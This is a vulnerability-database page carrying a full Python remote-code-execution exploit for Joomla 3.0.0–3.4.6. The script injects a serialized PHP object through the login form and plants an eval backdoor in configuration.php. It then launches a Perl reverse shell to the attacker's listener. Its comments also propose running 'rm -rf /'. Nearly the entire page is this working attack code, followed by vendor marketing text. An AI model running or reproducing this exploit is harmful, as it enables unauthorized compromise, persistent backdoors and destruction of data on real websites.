Lucene search
K

Joomla 3.4.6 - (configuration.php) Remote Code Execution Exploit

🗓️ 07 Oct 2019 00:00:00Reported by Alessandro GroppoType 
zdt
 zdt
🔗 0day.today👁 156 Views

Joomla 3.4.6 - 'configuration.php' Remote Code Execution Exploi

Code
# Exploit Title: Joomla 3.4.6 - 'configuration.php' Remote Code Execution
# Google Dork: N/A
# Date: 2019-10-02
# Exploit Author: Alessandro Groppo @Hacktive Security
# Vendor Homepage: https//www.joomla.it/
# Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6
# Version: 3.0.0 --> 3.4.6
# Tested on: Linux
# CVE : N/A
#
# Technical details: https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41
# Github: https://github.com/kiks7/rusty_joomla_rce
#
# The exploitation is implanting a backdoor in /configuration.php file in the root directory 
# with an eval in order to be more suitable for all environments, but it is also more intrusive.
# If you don't like this way, you can replace the get_backdoor_pay() 
# with get_pay('php_function', 'parameter') like get_pay('system','rm -rf /')

#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup
import sys
import string
import random
import argparse
from termcolor import colored

PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}

def random_string(stringLength):
	letters = string.ascii_lowercase
	return ''.join(random.choice(letters) for i in range(stringLength))


backdoor_param = random_string(50)

def print_info(str):
	print(colored("[*] " + str,"cyan"))

def print_ok(str):
	print(colored("[+] "+ str,"green"))

def print_error(str):
	print(colored("[-] "+ str,"red"))

def print_warning(str):
	print(colored("[!!] " + str,"yellow"))

def get_token(url, cook):
	token = ''
	resp = requests.get(url, cookies=cook, proxies = PROXS)
	html = BeautifulSoup(resp.text,'html.parser')
	# csrf token is the last input
	for v in html.find_all('input'):
		csrf = v
	csrf = csrf.get('name')
	return csrf


def get_error(url, cook):
	resp = requests.get(url, cookies = cook, proxies = PROXS)
	if 'Failed to decode session object' in resp.text:
		#print(resp.text)
		return False
	#print(resp.text)
	return True


def get_cook(url):
	resp = requests.get(url, proxies=PROXS)
	#print(resp.cookies)
	return resp.cookies


def gen_pay(function, command):
	# Generate the payload for call_user_func('FUNCTION','COMMAND')
	template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
	#payload =  command + ' || $a=\'http://wtf\';'
	payload =  'http://l4m3rz.l337/;' + command
	# Following payload will append an eval() at the enabled of the configuration file
	#payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
	function_len = len(function)
	final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
	return final

def make_req(url , object_payload):
	# just make a req with object
	print_info('Getting Session Cookie ..')
	cook = get_cook(url)
	print_info('Getting CSRF Token ..')
	csrf = get_token( url, cook)

	user_payload = '\\0\\0\\0' * 9
	padding = 'AAA' # It will land at this padding
	working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
	clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects

	inj_object = '";'
	inj_object += object_payload
	inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
	password_payload = padding + inj_object
	params = {
            'username': user_payload,
            'password': password_payload,
            'option':'com_users',
            'task':'user.login',
            csrf :'1'
            }

	print_info('Sending request ..')
	resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
	return resp.text

def get_backdoor_pay():
	# This payload will backdoor the the configuration .PHP with an eval on POST request

	function = 'assert'
	template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
	# payload =  command + ' || $a=\'http://wtf\';'
	# Following payload will append an eval() at the enabled of the configuration file
	payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
	function_len = len(function)
	final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
	return final

def check(url):
	check_string = random_string(20)
	target_url = url + 'index.php/component/users'
	html = make_req(url, gen_pay('print_r',check_string))
	if check_string in html:
		return True
	else:
		return False

def ping_backdoor(url,param_name):
	res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
	if 'PWNED' in res.text:
		return True
	return False

def execute_backdoor(url, payload_code):
	# Execute PHP code from the backdoor
	res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
	print(res.text)

def exploit(url, lhost, lport):
	# Exploit the target
	# Default exploitation will append en eval function at the end of the configuration.pphp
	# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
	# e.g. get_payload('system','rm -rf /')

	# First check that the backdoor has not been already implanted
	target_url = url + 'index.php/component/users'

	make_req(target_url, get_backdoor_pay())
	if ping_backdoor(url, backdoor_param):
		print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
		print_info('Now it\'s time to reverse, trying with a system + perl')
		execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')


if __name__ == '__main__':
	parser = argparse.ArgumentParser()
	parser.add_argument('-t','--target',required=True,help='Joomla Target')
	parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
	parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
	parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
	parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
	args = vars(parser.parse_args())

	url = args['target']
	if(check(url)):
		print_ok('Vulnerable')
		if args['exploit']:
			exploit(url, args['lhost'], args['lport'])
		else:
			print_info('Use --exploit to exploit it')

	else:
		print_error('Seems NOT Vulnerable ;/')

#  0day.today [2019-12-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation